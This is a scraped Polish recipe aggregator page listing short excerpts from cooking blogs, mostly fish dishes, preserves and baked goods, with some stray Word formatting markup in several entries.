swój smak i wartości odżywcze; pakowanie próżniowe pomaga lepiej planować zakupy i nimi zarządzać, a tym samym pozwala na oszczędności; pakować można niemal wszystko – owoce, warzywa, sery, mięsa, wędliny, ryby, gotowe dania itd. nie wyrzucamy już jedzenia! Co można pakować próżniowo i o ile przedłuża to trwałość poszczególnych produktów? Artykuły spożywcze Trwałość artykułów niezapakowanych próżniowo Trwałość artykułów zapakowanych próżniowo(...)Trwałość artykułów niezapakowanych próżniowo Trwałość artykułów zapakowanych próżniowo Pieczywo 6-9 miesięcy 24-26 miesięcy Owoce 6-12 miesięcy 24-26 miesięcy Warzywa 8-10 miesięcy 24-26 miesięcy Ryby 6 miesięcy 24-26 miesięcy Drób 6 miesięcy 24-26 miesięcy Mięso mielone 4 miesiące 12 miesięcy Mięso 6 miesięcy 24-26 miesięcy Każdy produkt po zapakowaniu próżniowym należy

Słodkie okruszki
Zgrzewarki próżniowe - do czego się przydają 145

Wszyscy doskonale wiemy, że pakowanie próżniowe przedłuża nawet kilkukrotnie trwałość produktów żywnościowych poczynając od mięsa i jego przetworów, poprzez ryby, owoce i warzywa, sery, kawy, przeprawy, na pieczywie i herbatnikach kończąc. Pozwala również dłużej zachować ich walory smakowe i wartości odżywcze, w tym niezbędne dla organizmu mikro- i makroelementy oraz zapobiega uwalnianiu aromatów. Pisałam już o tym na blogu(...)przygotowywania posiłków zgodnie z metodą sous vide i sezonowania wołowiny na steki. Dzięki tym rozwiązaniom nie tylko oszczędzamy pieniądze, kupując zamiast gotowych półproduktów kulinarnych, jedynie nieprzetworzoną żywność (mięsa, ryby i owoce morza, warzywa i owoce). Możemy także przygotować odpowiedniej wielkości porcje i uniknąć marnotrawienia jedzenia. Stek wołowy sezonowany w workach próżniowych FoodSaver Przyrządzanie potraw metodą sous vide

Kulinaria - potrawy z różnych stron świata
Ryba w cieście czosnkowo- koperkowym 89

Pychotka ! Ryby to spora dawka witamin – zawierają witaminy A, D, E oraz witaminy z grupy B. Są również źródłem składników mineralnych – fosforu, siarki, potasu, sodu, magnezu, wapnia, żelaza, a także mikroelementów taki jak: cynk, miedź, mangan i jod. Także kochani, jedzcie rybki , bo są zdrowe :)  Składniki : 2 filety  mintaja 1 jajko 2 szkl mleka 4 łyżki mąki(...)Dwie szklanki mleka wlewam do miseczki, dodaję jedno jajko, ząbek czosnku przeciśnięty przez praskę, posiekany świeży koperek, sól,pieprz i 4 łyżki mąki. Wszystko dokładnie mieszam ( ciasto bez grudek) . Rybę moczę w cieście i smażę na rozgrzanym oleju na rumiany kolor na wolnym ogniu

Domowa Kuchnia u Mamy
Ciasto z jabłkami last minute 145

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Syrop z dyni do kawy 196

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Sok z aronii 224

Składniki na sok z aroniowy Owoce aronii 1 kg dojrzałych owoców aronii 2 niepełne szklanki cukru 1 szklanka wody 1 cytryna Owoce aronii umyć, rozgnieść i

Korniszonki
Babeczki marchewkowe 198

Babeczki marchewkowe Składniki na babeczki marchewkowe 2 średnie marchewki starte na grubej tarce (1 szklanka) 3/4 szklanki mąki 1 łyżeczka proszku do pieczenia ½ szklanki oleju rzepakowego

Korniszonki
Krucha szarlotka pod pierzynką 205

Składniki potrzebne na kruchą szarlotkę z zapiekaną pianą Krucha szarlotka pod pierzynką 4 – 5 dużych kwaśnych jabłek (najlepsze będą reneta szara lub złota, antonówki) 40 dag

Korniszonki
Pstrąg pieczony z masłem i pietruszką. 187

czosnek przepuść przez praskę bądź drobno posiekaj i połącz je z miękkim masłem by powstało masło czosnkowo-pietruszkowe,które wsadzamy w rybę B) dodaj po prostu masło,pietruszkę i czosnek(koniecznie pamiętaj o zmiażdżeniu czosnku) pomiędzy płaty ryby 3. Popieprz, posól. 4. Zawiń w folie 5. Piecz w 220 stopniach Celsjusza 10-15 minut. Jeśli nie masz natki pietruszki

U Fiolki
ZIELONA RYBNA FRITTATA Z JOGURTOWYM SOSEM 121

Przepis na frittatę, czyli popularną we Włoszech i Hiszpanii masę jajeczną zapiekaną z dodatkami – u mnie z rybą, marchewką i kukurydzą. Zielony kolor uzyskałam przez dodanie do masy jajecznej młodych liści szpinaku. Jako dodatek proponuję lekko ostry sos jogurtowy z dużą ilością zielonego szczypioru, zainspirowany przez Anię z bloga Cooka.pl . Zapiekanka z dużą ilością warzyw to bardzo dobry patent(...)powiększenie ilości jedzenia, kiedy wpadną niespodziewani goście np. w porze obiadowej. Akurat miałam w planie upiec rybę, kiedy okazało się, że będą jeszcze dwie osoby na obiedzie. Poszperałam w zakamarkach lodówki, znalazłam marchewkę i gotowaną kukurydzę, jajka (które zawsze muszą być „na stanie”), a także szpinak i w mojej głowie narodził się pomysł na zapiekankę rybno-jajeczną

Dietolog
Pasta jajeczna z rybą z puszki 144

Lubicie pasty do chleba? Ja bardzo lubię i często wymyślam nowe smaki. Dzisiaj mam dla Was pastę z rybą z puszki. Miałam makrelę w oleju, ale również możecie wykorzystać inne ryby w oleju lub sosie własnym. Więcej przepisów na smarowidła do pieczywa znajdziecie na moim blogu. Jeśli przygotowaliście jakieś danie z moich przepisów to proszę, podzielcie się opinią(...)ugnieść widelcem wraz z tłuszczem na gładko i dodać do jajek. Dodać pozostałe składniki. W razie potrzeby gdy pasta jest zbyt sucha można dodać łyżeczkę majonezu. pasta jajeczna z rybą

O kuchni z uczuciem
Zimowa sałatka z zielonych pomidorów 308

Składniki potrzebne do przygotowania zimowej sałatki z zielonych pomidorów Zimowa sałatka z zielonych pomidorów 1 kg zielonych pomidorów (najlepiej z własnego ogrodu) 1 cebula Ok. 1

Korniszonki
Domowa jarzynka (mieszanka przypraw i warzyw) 309

Składniki potrzebne do przygotowania domowej jarzynki: Przepis na domową jarzynkę 100 g suszonych warzyw (przepis na suszone warzywa) 1 łyżka suszonej cebuli 1 łyżeczka suszonej natki

Korniszonki
Gdzie na rybę w Warszawie? Fish&More na Nowym Świecie 189

Moda na steki i Vege rządzi w Warszawie od dawna. Ale co z rybą? Przecież dobra ryba nie jest zła! Zatem gdzie na... The post Gdzie na rybę w Warszawie? Fish&More na Nowym Świecie appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Pompadurki z brzoskwiniami ciasteczkowymi 210

Pompadurki z brzoskwiniami - pyszność z ciasta twarogowego Pompadurki to pyszne ciastka z ciasta twarogowego oryginalnie nadziewanie śliwkami węgierkami. Z braku śliwek w zaprzyjaźnionym warzywniaku postanowiłam zaeksperymentować

Korniszonki
Słodki dżem z pomidorów z nutą pomarańczy i cynamonu 186

Składniki na słodki dżem pomidorowy Słodki dżem pomidorowy 4 duże pomidory 1 szklanka cukru 1 plaster cytryny ze skórką ½ łyżeczki cynamony lub pół laseczki kory cynamonowej

Korniszonki
Marynowane maślaki 225

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Marynata octowa 189

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Leczo z kiełbasą 165

Składniki na leczo z kiełbasą Leczo z kiełbasą 2 małe cukinie 2 papryki (żółta i czerwona) 2 średnie cebule Pół główki czosnku 1 puszka pomidorów lub

Korniszonki
Gotujemy wywar rybny w szybkowarze 231

też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia 1 cebula, obierz i pokrój w małą kostkę 1 marchew, obierz i pokrój(...)tutaj . rozgrzej w szybkowarze masło, dodaj cebulę i podsmażaj na średniej mocy palnika ok. 3 min dodaj pozostałe warzywa, całość podsmażaj jeszcze parę minut do warzyw dodaj kawałki ryby i całość chwilę podsmażaj co jakiś czas mieszając dolej wino całość zamieszaj od czasu do czasu i poczekaj, aż alkohol ulotni się całkowicie i nie będzie w ogóle czuć

Szybko Szybkowar
Ptysie z kremem waniliowym 153

Składniki na ciasto ptysiowe Ptysie z kremem waniliowym 2 szklanki mąki 1 szklanki wody 1 szklanka mleka 1 kostka + duża łyżka masła pokrojonego w kostkę 5

Korniszonki
Kremowe lody śmietankowe z dwóch składników 165

Składniki na lody śmietankowe Kremowe lody śmietankowe 200 ml skondensowanego słodzonego mleka 500 ml śmietanki kremówki (36%) Schłodzoną śmietankę ubijacie na sztywno, po czym dodać do

Korniszonki
Koktajl malinowy bez pestek 204

2 szklanki świeżych malin Koktajl malinowy bez pestek 2-3 łyżki płynnego miodu, syropu klonowego lub cukru (według uznania) Szklanka mleka Pół szklanki naturalnego jogurtu lub

Korniszonki
Zapiekany łosoś pacyficzny z gruszką i serem 129

ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Jak my kochamy takie szybkie dania, pełne smaku, pełne aromatu <3 tym bardziej jeśli chodzi o ryby i owoce morza. Zawsze jesteśmy na tak ;) Składniki 600 g dzikiego łososia pacyficznego 2 gruszki 100 g sera pleśniowego blue 1 łyżka jogurtu naturalnego 600 ml białego wina wytrawnego(...)łososia dzielimy na porcje, usuwamy ości, oprószamy solą, pieprzem i smarujemy jogurtem. Gruszki obieramy i gotujemy w winie z dodatkiem syropu waniliowego, studzimy i kroimy na plastry, układamy na rybie. Ser kroimy na plastry, układamy na gruszce. Całość zapiekamy 30-35 min w temperaturze 180°C. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

R'n'G Kitchen
Drożdżowe ślimaki z konfiturą morelową 144

Ciasto drożdżowe: Drożdżowe ślimaki na słodko 250 g mąki pszennej 250 ml mleka 20 g świeżych drożdży 5 żółtek 70 g masła, roztopionego i przestudzonego 100

Korniszonki
,,Roladki z cukinii i łososia ’’ 155

Filety ryby solimy i posypujemy pieprzem, skrapiamy sokiem z cytryny. Następnie kroimy wzdłuż na długie paski, o szerokości i długości odpowiadającej mniej więcej wielkości plastrów cukinii. Na pasku ryby kładziemy plasterek cukinii oraz suszonego pomidora i zwijamy w roladki. Każdą spinamy patyczkiem i układamy w naczyniu do zapiekania wysmarowanym wcześniej oliwą. Wstawiamy do piekarnika i zapiekamy przez

Podróż w kulinaria
Przepisy na Wigilię i Boże Narodzenie 288

Ciasto na pierogi Pierogi z kapustą i pieczarkami   Pierogi z kaszą Pieczone pierogi z łososiem   Pieczone pierogi z mozzarelą i pomidorami Pieczone pierogi z kapustą i grzybami RYBA Zapiekana ryba pod kapustą  Pieczony pstrąg Ryba w ziołowej panierce Pieczony łosoś z porem i pomarańczą Ryba po grecku ŚLEDZIE Śledzie z cebulką Śledzie z jabłkiem Śledzie w śmietanie

Lena Gotuje
Sałatka z kaszy kuskus i bobu 148

świecie orzeszków pistacjowych i lekko pikantnej, aromatycznej bazylii. Całość prezentuje się niebywale wiosennie, energetycznie i bez wątpienia apetycznie. Rewelacyjnie sprawdzi się jako samodzielne danie lub dodatek do mięsa bądź ryby, jest też świetnym pomysłem na lunch box do pracy. A dlaczego warto jeść bób? – zawiera duże ilości białka, które może być alternatywą dla białka pochodzenia zwierzęcego, – jest(...)skórek. 3) Do kaszy dodać przygotowany bób, pistacje, posiekaną bazylię, oliwę, doprawić do smaku solą oraz pieprzem i dokładnie wymieszać. 4) Podawać jako samodzielne danie albo dodatek do ryby lub mięsa . Artykuł Sałatka z kaszy kuskus i bobu pochodzi z serwisu FitSweet

Fitsweet.me
Kulki rybne w zalewie octowej 223

Pyszne małe kulki rybne smażone, zalane zalewą octową.  Robiłam już je  dużo razy, ponieważ świetnie sprawdzają się jako przekąska na każdej  imprezie. Oczywiście rybę można użyć jaką lubicie, ja często robię z dorsza, miruny  albo zielonych śledzi. Polecam, bo to   jedna z moich ulubionych przekąsek :) Składniki: 600 g dorsza  1 mała(...)liście laurowe 5-6 ziarenek ziela angielskiego 5-6 ziarenek pieprzu Wykonanie: Wszystkie składniki na zalewę zagotować, cebulę pokroić w krążki wrzucić do zalewy. Odstawić do przestygnięcia. Rybę zmielić razem z cebulą w maszynce do mięsa. Następnie dodajemy jajko, 2 łyżki bułki tartej i doprawiamy do smaku sola i pieprzem. Wszystko dokładnie wymieszać. Z farszu formujemy kuli wielkości

magiczna kuchnia Kasi
Dorsz na imbirowym mango 181

jego sekret tkwi w świeżym i soczystym mango (nie tylko dobrej jakości mango, ale duży wybór świeżych owoców egzotycznych znajdziecie w halach Makro ), które wprowadza egzotyczny akcent do pieczonej ryby, do tego wszystkiego jeszcze tylko papryka, cebula i trochę przypraw.  Bardzo prosto, niezwykle kolorowo i smacznie, a do tego lekko, zdrowo i dietetycznie, czyli idealnie również dla wszystkich

Cynamonowe szczęście
Łosoś z grilla, w ziołach 170

cytryny, czosnek i zioła rozdzielamy po równo, między 2 kawałki ryby. Łososia polewamy cytryną, solimy i pieprzymy. Czosnek przeciskamy przez praskę i równomiernie rozprowadzamy na łososiu. Rybę posypujemy oregano i ziołami prowansalskimi.  Rybę zawijamy w folię i wkładamy na 2 godziny do lodówki. Łososia grillujemy na średnim żarze przez 10 minut. Smacznego

Smak mojego domu
ŁOSOŚ z BURACZKOWYM PESTO 120

Łosoś. Ryba, która szczyci się popularnością, nawet wśród osób nie przepadających za rybami. Cieszy wyjątkowym smakiem, kusi pomarańczowym kolorem i co dla wielu jest ważne – cechuje się małą ilością łatwo zauważalnych ości. Łosoś (bądź jak nazywa go moja córka „łoś”) często gości u nas kuchni i na talerzu. Jest łatwy w przyrządzaniu, niewiele trzeba, żeby był

Dietolog
HALIBUT pod PISTACJOWYM PESTO, MUS z RZEŻUCHY i BROKUŁOWY RYŻ – FISH FRIDAY 135

Zielono mi! Wszystko na zielono! Ryba w pistacjowym pesto, mus z rzeżuchy i szpinaku, no i ryż z dodatkiem brokuła, a jako dodatek mizeria z ogórka pokrojonego wzdłuż na wstążki. Smakowicie wygląda, wybornie smakuje. Polecam, nie tylko w piątek, ale każdego dnia, a rzeżuchę nie tylko na wiosnę i z okazji świąt wielkanocnych – można ją łatwo wysiać i korzystać(...)cytryny Filety halibuta oczyścić, osuszyć ręcznikiem papierowym, oprószyć solą i umieścić w naczyniu żaroodpornym. Składniki do pesto umieścić w malakserze i zmiksować na ziarnistą masę. Pesto wyłożyć na rybę i wstawić do piekarnika. Ja używam funkcji pieczenia z parowaniem (specjalnie do rybki), jeśli nie macie takiej możliwości, rybę przykryjcie folią (żeby nie wyschła) i pieczcie 30 minut w temperaturze

Dietolog
Kotleciki z cukinii z oscypkiem i świeżymi ziołami 324

2 młode cukinie 2 całe jajka 1 – 2 kopiatych łyżek bułki tartej Pół filiżanki oscypka startego na tarce Po pół łyżeczki posiekanych świeżych ziół: tymianku, majeranku

Korniszonki
Wegański tuńczyk 138

wegańskie Prawdą jest , że jeżeli przeszło się na weganizm jako osoba znająca już pewne smaki jak ryby, jajka, to ich czasami brakuje. W moim przypadku najbardziej brakuje mi ryb. Jak ja zazdroszczę moim kotom… Na przepis wegańskiego tuńczyka trafiłam na YouTube, i oczywiście Amerykanie go „wynaleźli” , wiadomo Składniki: 5 400 g ugotowanej ciecierzycy (waga

greenscarf
Ugotowane na parze-ryba z warzywami 115

jeszcze pojęcia ile czasu trwa cały proces gotowania. No cóż praktyka czyni mistrzem więc nieco pracy jeszcze przede mną :)). Przepis dodaję do akcji Gotowanie na parze Ugotowane na parze, ryba z warzywami Składniki 2 filety soli ziemniaki brokuły ( mrożone ) kalafior (mrożony ) przyprawy Rybę doprawiłam przyprawami i razem z resztą składników umieściłam w parowarze. Gotowałam ok 40 min. Nie wyobrażacie sobie(...)jakie było moje zdziwienie kiedy odkryłam że ziemniaki smakują inaczej niż zwykle :)). Artykuł Ugotowane na parze-ryba z warzywami pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Wędzone pstrągi i „bolki” 85

rybki wędzonej jak ta, którą przygotują moi rodzice. Nadmienię, iż rodzice moi mieszkają nad morzem. Znajomi nie wiedzieli o co mi chodzi, kiedy kręciłam nosem przy ich zachwycaniu się rybami wędzonymi, zakupionymi w sklepie, dopóki nie przywiozłam im rybki takiej świeżutkiej, prosto z wędzarni od rodziców. Udało mi się zrobić kilka zdjęć podczas wędzenia pstrągów i kilku małych dorszy

Pieguskowa Kuchnia
Okoń smażony z risottem pomidorowym 78

Już dawno nie było u mnie na blogu nic rybnego, więc nadrabiam zaległości. Jedną z moich ulubionych ryb jest okoń-kolczasta i wielobarwna ryba. Jego mięso jest jędrne, chude, zawiera mało ości, a przede wszystkim jest bardzo smaczne. Tym razem podałam go w towarzystwie kremowego ryżu z dodatkiem słodkich pomidorów. Dziwne połączenie ale warto było, bardzo posmakował mi ryż

Pieguskowa Kuchnia
Śledzie w zalewie pomidorowej 117

zalewie pomidorowej już od dawna chodziły mi po głowie. Przepis wydawał mi się rzetelny, więc postanowiłam spróbować. Nie żałuję. Śledzie wyszły pyszne, wystarczająco doprawione. Uwielbiam takie dania z ryb szczególnie na święta. Można je przygotować wcześniej zaoszczędzając czas w dzień Wigilii. To moja ostatnia propozycja w tym roku na wigilijny stół. A teraz lecę zajrzeć jeszcze do makowca, który

Pieguskowa Kuchnia
Grillowany łosoś z puree z jabłek i kopru włoskiego 120

Pyszny grillowany łosoś na musie z jabłek i kopru, podany z ryżem i jeszcze smaczniejszym sosem z szalotki i śmietany to moja propozycja na nieco inny obiad z rybą w roli głównej. Niecodzienne zestawienie smaków zachęca do wypróbowania tego przepisu. Zachęciło bynajmniej mnie i nie zawiodłam się. Przepis Pascala, zaczerpnięty z Kuchni Lidla klik wart jest polecenia, więc polecam Smacznego(...)kawałki, doprawić solą i pieprzem i grillować na rozgrzanej patelni lub grillu. Ryż ugotować wg wskazówek na opakowaniu. Na talerz wykładamy łyżkę puree z jabłek i kopru, układamy rybę i polewamy sosem z szalotki i śmietany. Podajemy z ryżem. Artykuł Grillowany łosoś z puree z jabłek i kopru włoskiego pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
ŚLEDZIE PO SUŁTAŃSKU 112

Dzisiaj ostatni dzień karnawału czyli popularny „śledzik”. Wiecie już że lubię ryby, więc nie mogło dzisiaj zabraknąć śledzia na moim blogu. Przepis „stary jak świat” i sama nie mogę uwierzyć, że dotychczas go nie opublikowałam. Spróbujcie, a nie pożałujecie – śledzie po sułtańsku wg tego przepisu są przepyszne. ŚLEDZIE PO SUŁTAŃSKU 1 kg śledzi (namoczyć

Pieguskowa Kuchnia
FISHBURGER 119

ryby (u mnie szczupak) 1 duża cebula 2 ząbki czosnku szczypiorek 2 jajka kawałeczek słoninki lub boczku 1 czerstwa kajzerka sól, pieprz, mąka do panierowania, olej Rybę (bez skóry) zmielić z cebulą, czosnkiem, słoniną i namoczoną i odciśniętą bułką. Dodać jajka, pokrojony szczypiorek sól, pieprz i dobrze wyrobić na jednolitą masę. Formować kotleciki wielkości bułek, obtoczyć w mące

Pieguskowa Kuchnia
PASTA Z MAKRELI I TWAROGU 136

propozycja na pyszne i zdrowe śniadanie. U mnie w domu takie pasty kanapkowe budzą zawsze zadowolenie. Lubimy każdą odmianę od zwykłej kanapki z wędliną. Wędzona makrela jest ogólnie dostępną rybą i dlatego jeżeli chodzi o pastę makrelową to za każdym razem lekko modyfikujemy jej skład. Dzisiejsza pasta kanapkowa jest z dodatkiem twarogu i jest to bardzo dobry pomysł na przemycenie(...)kilka rzodkiewek 1,5 łyżki kaparów 1 cebula dymka ze szczypiorkiem majonez sól i pieprz Makrele oczyścić z ości i rozdrobnić. Zmiksować blenderem ręcznym albo dokładnie rozgnieść widelcem. Przygotowaną rybę przełożyć do miseczki, dodać rozdrobniony twaróg, pokrojoną drobno rzodkiewkę i cebulę razem ze szczypiorkiem. Kapary posiekać i dodać do reszty składników. Doprawić solą i pieprzem pamiętając o tym, że kapary

Pieguskowa Kuchnia
Tuńczyk w sosie teriyaki 205

prostu WSPANIAŁY :) Delikatne mięso, rozpływa się w ustach.  Gdyby ktoś podał mi go pierwszy raz nie mówiąc że to ryba, mogłabym nie uwierzyć. Do tego sos, bardzo intensywny, jednak mimo tego nie był w stanie przyćmić smaku ryby, stworzył z nią po prostu jedność, idealny smak, którego nie da się zapomnieć. Polecam! :) Składniki: 2 steki z tuńczyka grubości

Czerwona Porzeczka
Muffinki czekoladowo-bananowe z nutellą 168

1 pełna szklanka maki 1 łyżka kakao 1/2 szklanki cukru 1 cukier waniliowy 2 jajka 1/2 szklanki oleju rzepakowego lub z pestek winogron 1/2 szklanki maślanki

Korniszonki
Kruche babeczki migdałowo-morelowe (wg przedwojennej receptury) 138

Ciasto kruche 100 g masła o temperaturze pokojowej 2 żółtka 200 g mąki 3 łyżki cukru lub wg uznania szczypta soli Migdałowa masa makaronikowa z gałką

Korniszonki
Duszony łosoś z awokado i pomidorkami koktajlowymi [ENG] 157

pepper, dried vegetables PRZYGOTOWANIE Opłucz a następnie osusz filet z łososia. Ponacinaj go w poprzek tak aby nie uszkodzić skórki. Awokado pokrój w plastry i wsuń w miejsca nacięć ryby. Połóż go skórą do dołu na rozgrzanej patelni z olejem. Posyp solą, pieprzem i mixem suszonych warzyw. Polej sokiem z cytryny. Nałóż przekrojone na połówki pomidorki (można(...)Następnie nalej na patelnię wody i doprowadź ją do wrzenia. UWAGA! Wodę wlej obok łososia nie po nim. Ilość wody nie powinna przykrywać więcej niż 0,5 cm wysokości ryby. Przykryj i duś przez około 10-15 min w zależności od grubości fileta. Po tym czasie zdejmij z patelni i przełóż na talerz. Możesz podawać np. z sałatką

Better Life By Auntie Ju
Morszczuk pieczony w folii 171

dorsz)  1/2  marchewki 1/2 cukinii 1/2 cebuli 1 łyżeczka  masła  Przyprawy: ja dziś poszłam  na łatwiznę  używając  przyprawy gotowej do ryb.  Ale sól,  pieprz,  koperek i sok z cytryny też  bedzie super:)  Marchewkę  kroimy w slupki,  Cukinię  w plastry(...)cebulę  w piórka.  Folię  aluminiową  tniemy na dość  spory kawałek,  by bez problemu szczelnie zamknąć całość.  Najpierw ukladamy cukinię,  potem ryba obsypana obficie przyprawami,  marchewka,  cebula.  Calosc jeszcze odrobine solimy i kladziemy masło. Zamykamy szczelnie i odstawiamy na pół  godziny. Rybę  pieczemy w 190 C przez

Mamuśka wraca do formy
Ryba w sosie jogurtowo-koperkowym 139

być dorsz czy mintaj Przyprawa do  ryb 4 łyżki jogurtu greckiego Pół łyżeczki soku z cytryny Pęczek koperku (w każdym razie-dużo koperku:)) Sól, pieprz, czosnek granulowany Rybę osuszamy i obsypujemy przyprawą, odstawiamy na godzinke. W garnku, gotujemy wodę( u mnie pół litra, żeby ryba była przykryta) Ja popełniłam pewien błąd... Do wody wrzuciłam kostkę, a że rybe

Mamuśka wraca do formy
Szybki makaron w sosie borowikowym 189

mięs czy ryb. SMACZNEGO!   Uwagi do przepisu: Z podanych składników wychodzi porcja dla 2 osób jako samodzielne danie, lub dla 4 jako dodatek np. do mięsa, czy ryby. Sos należy przygotowywać równocześnie z gotowaniem makaronu. Makaron można wzbogacić o pokrojonego w kostkę i podsmażonego z cebulą kurczaka. Źródło przepisu: Wielkie Żarcie

Gospodyni Miejska
Morelowa tarta Tatin 118

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Kotlety z cukinii z serem żółtym 158

2 młode cukinie 2 całe jajka 1 - 2 kopiatych łyżek bułki tartej Pół filiżanki tartego sera żółtego (np. Gouda) Pół łyżeczki suszonego tymianku Pół łyżeczki suszonego

Korniszonki
Muffinki kokosowo-marchewkowe 142

2 średnie marchewki starte na grubej tarce (1 szklanka) 0,5 szklanki mąki 1 pełna łyżka wiórków kokosowych 1 łyżeczka proszku do pieczenia 2 pełne łyżki

Korniszonki
4 najsmaczniejsze dania kuchni japońskiej 182

Japoński przysmak podbija serca fanów orientalnych dań, a mistrzów sushi przybywa – wielu kucharzy pragnie osiągnąć bowiem najlepszy poziom w przygotowywaniu popularnej potrawy od Japończyków. Na sushi składają się surowe ryby, owoce morza, warzywa i ryż – wszystko zawinięte w liście wodorostów. W przygotowaniu sushi bardzo istotna jest technika – dlatego nie każdy potrafi sporządzić je właściwie. Ramen – tradycyjna(...)japońska zupa Inną popularną potrawą japońską, jest ramen – tradycyjna zupa, bazująca na mięsnym wywarze, przypominającym w smaku polski rosół, jednak bardziej aromatycznym. Bulion urozmaicany jest dodatkiem warzyw, mięs lub ryb i owoców morza. Sekretem ramenu jest jednak wyjątkowy makaron produkowany z mąki pszennej – o wiele bardziej elastyczny  niż tradycyjny makaron. Smak ramenu poczuć można również w popularnych zupach

Tradycyjna Kuchnia
Sos limonkowo - miętowy z ogórkiem 237

czasie kie dy organizujemy grille, spotkania ze znajomymi na świeżym powietrzu, czy też po dajemy na obia d ryby lub mięsa, możemy po dać intensywnie orzeźwiający sos. Intensywny smak limonki, przełamany delikatnością ogórka i świeżością mięty do da naszym potrawą nowego smakowego wymiaru. Spróbujcie :) Skła dniki:   300 ml gęstego jogurtu naturalnego skórka z całej limonki(...)mieszamy. Liście mięty myjemy, osuszamy i drobno siekamy, do dając je do sosu. Całość przyprawiamy świeżo zmielonym pieprzem oraz solą. Po dajemy do mięs z grilla,  drobiu oraz ryb. Smacznego

ChilliJemy
Ryba duszona z kaszą bulgur 218

Nasza propozycja na bardzo szybkie danie z rybą w roli głównej a autorem przepisu jest Karinka.     Składniki: - filety rybne ( ok. 30 dkg ) - 6 łyżek kaszy bulgur - cebula - marchew - olej - ok. 250 ml bulionu warzywnego - sól, pieprz, pieprz ziołowy - słodka papryka lub gotowa przyprawa harissa Cebulę i marchew kroimy w drobniutką kostkę. Rybę dzielimy na mniejsze kawałki, przyprawiamy, skrapiamy(...)godzinę. Na niewielkiej ilości oleju podsmażamy cebulkę. Dodajemy marchewkę i podsmażamy. Przyprawiamy przyprawą harissa. Dodajemy kaszę bulgur i smażymy ok. 3 minuty. Dolewamy bulion, doprawiamy do smaku, układamy rybę, przykrywamy i dusimy 10-15 minut. Smacznego! Pozdrawiamy Karinkę i dziękujemy

Maminek kulinarny
Mini tarty cytrynowe 167

Ciasto kruche na tartaletki 100 g masła o temperaturze pokojowej 2 żółtka 200 g mąki 3 łyżki cukru lub wg uznania szczypta soli Krem cytrynowy 2

Korniszonki
Gulasz po węgiersku 166

1 kg łopatki wieprzowej lub wołowej (można wybrać inny rodzaj wołowiny lub połączyć dwa rodzaje mięsa) 2 cebule 2 łyżki koncentratu pomidorowego po 1 łyżeczka ostrej

Korniszonki
Lody pomarańczowe a‘la Nigella 126

1 pomarańcza 2 limonki 2 łyżki rodzynek (namoczyć w likierze pomarańczowym przez ok. 1 godz.) 1 szklanka cukru pudru 2 i pół szklanki słodkiej śmietanki (najlepiej

Korniszonki
Kwiaty czarnego bzu w cieście racuszkowym 152

Uwaga! Kwiaty czarnego bzu muszą pochodzić z pewnego miejsca! Nie można wykorzystywać kwiatów, które kwitną w miejscach zanieczyszczonych - przy szosach, drogach, na zanieczyszczonej glebie itp! Składniki

Korniszonki
Napój pomarańczowo-cytrynowy na drożdżach. Bomba witaminowa na upalne dni! 168

Kwas perełka, o smaku cytrynowo pomarańczowym, to wspaniały napój, zrobiony na bazie świeżych Składniki: owoców (cytryn i pomarańczy), miodu oraz drożdży. Wspaniale gasi pragnienie w upalne

Korniszonki
Tort waniliowo-czekoladowy z bezą i borówkami 142

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Smaki Japonii - foto skrót z podróży, cz. 2 147

zapamiętujemy najczęściej piękne krajobrazy i zabytki, długo również pozostają w naszej pamięci smaki potraw, które jedliśmy. W artykule "Smaki Japonii - foto skrót z podróży, cz. 1" , przedstawiłam dania z ryb i owoców morza, w tej części zaś, będzie trochę mięsa, z którym Japonia nie jest wcale kojarzona. Podróż mego Syna do Japonii i podzielenie się(...)mną wrażeniami, sprawiła, że zaczęłam postrzegać ten kraj nieco inaczej. Do tej pory Kraj Kwitnącej Wiśni, jeśli chodzi o jedzenie, kojarzyłam raczej tylko z sushi.  Japończycy oprócz ryb uwielbiają również mięso, przecież najdroższa wołowina pochodzi z japońskich krów rasy Wagyu, a popularną potrawą z tej kuchni jest zupa ramen, przygotowywana na wywarze z kości i właśnie z dodatkiem

Kuchcik gotuje
ŁOSOŚ W SOSIE CHEDDAR 171

Fantastyczna ryba , w kremowym sosie serowym .Dobra na ciepło lub zimno jako przystawkę z ryżem lub jak ja z kaszą bulgur. 4 kawałki łososia 10 dag.sera cheddar szalotka 0.5 szkl.kremówki 2 łyżki masła gałka muszkatołowa biały pieprz sok z cytryny ***************************** Rybę umyć , osuszyć , skropić sokiem z cytryny , odstawić na 30 minut.Jeszcze raz osuszyć po tym czasie , posypać pieprzem(...)usmażyć na złoty kolor . Patelnię rozgrzać z masłem , przesmażyć pokrojoną szalotkę , wlać kremówkę , zagotować sos.Dodać starty ser cheddar , doprawić pieprzem i gałką muszkatołową.Na talerze ułożyć rybę , kaszę lub ryż i polać sosem.Podawć z sałatką z pomidorów i natki.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Torcik makaronowo łososiowy 155

